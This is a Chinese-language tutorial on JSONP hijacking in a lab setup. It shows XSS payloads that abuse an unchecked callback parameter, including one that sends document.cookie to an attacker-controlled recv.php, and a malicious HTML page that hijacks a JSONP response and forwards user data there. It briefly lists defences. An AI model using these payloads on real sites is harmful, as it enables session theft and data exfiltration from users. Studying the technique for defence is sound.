JSONP 跨域访问(2), JSONP劫持
一, 利用 XSS 漏洞执行jsonp
1. 利用过程
发现有jsonp的请求:
<script type="text/javascript"
src="http://192.168.112.200/security/jsonp.php?callback=jsonpCallback"></script>
向xss漏洞的位置注入代码:
<script type="text/javascript"
src="http://192.168.112.200/security/jsonp.php?callback=alert(1);//"></script><script type="text/javascript"
src="http://192.168.112.200/security/jsonp.php?callback=document.cookie;//"></script>
如果能弹窗说明服务器没有对回调函数的名称做检查, 那么 callback
后面可以执行其他js代码.
<script type="text/javascript" src="http://192.168.112.200/security/jsonp.php
?callback=location.href='http://192.168.112.202/recv.php?
cookie='%2Bdocument.cookie%2B'%26url='%2Blocation.href;//">
</script>
在这段代码中的 %2B
和 %26
是URL编码
后的字符。
%2B
代表加号(+
),在URL中用于表示空格或连接字符串。
%26
代表和号(&
),在URL中通常用来连接多个参数。
'%2Bdocument.cookie%2B'
会被解析为连接 document.cookie
(当前页面的cookie信息)到字符串中,相当于 +document.cookie+
。
'%26url='%2Blocation.href
是将 &url=
字符串连接到 location.href
(当前页面的URL)。
当浏览器执行这段脚本时,它会请求 jsonp.php 文件,并传递一个 callback
参数。服务器应该响应一个调用该回调函数的JavaScript代码,其中包含了服务端希望在客户端执行的代码。
攻击者服务器(在这个案例中是 http://192.168.112.202/recv.php
)会接收到包含用户cookie的请求,这样攻击者就可能会窃取用户的会话信息。
2. 防御手段
对传递到后端的回调函数名的长度进行判断
利用白名单限制回调函数的名称
二, 利用CSRF漏洞, 构造恶意网站劫持JSONP请求
如果后端限制了callback 函数名, 那么可以伪造html页面绕过检查, 执行恶意代码.
编写一个html页面, 用目标网站相同的回调函数执行自己的代码.
<script type="text/javascript">// 回调函数function jsonpCallback(data) {location.href = "http://192.168.112.202/recv.php?value=" + JSON.stringify(data) + "&referer=" + document.referrer;}
</script>
<script type="text/javascript"
src="http://192.168.112.200/security/jsonp.php?callback=jsonpCallback"></script>
上面这段代码向目标200网站发送jsonp请求, 调用与200网站上相同的函数 jsonpCallback
, 绕过了服务器对回调函数的检查.
函数执行自己的代码, 向攻击者202服务器请求recv.php
, 攻击者可以利用这个脚本保存发送过来的用户数据.
当用户访问恶意html页面时, 向200服务器发送jsonp请求, 并将请求到的用户数据发送到202服务器上.